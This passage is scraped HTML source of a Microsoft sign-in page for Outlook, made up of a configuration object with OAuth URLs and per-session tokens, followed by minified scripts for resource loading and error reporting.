\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

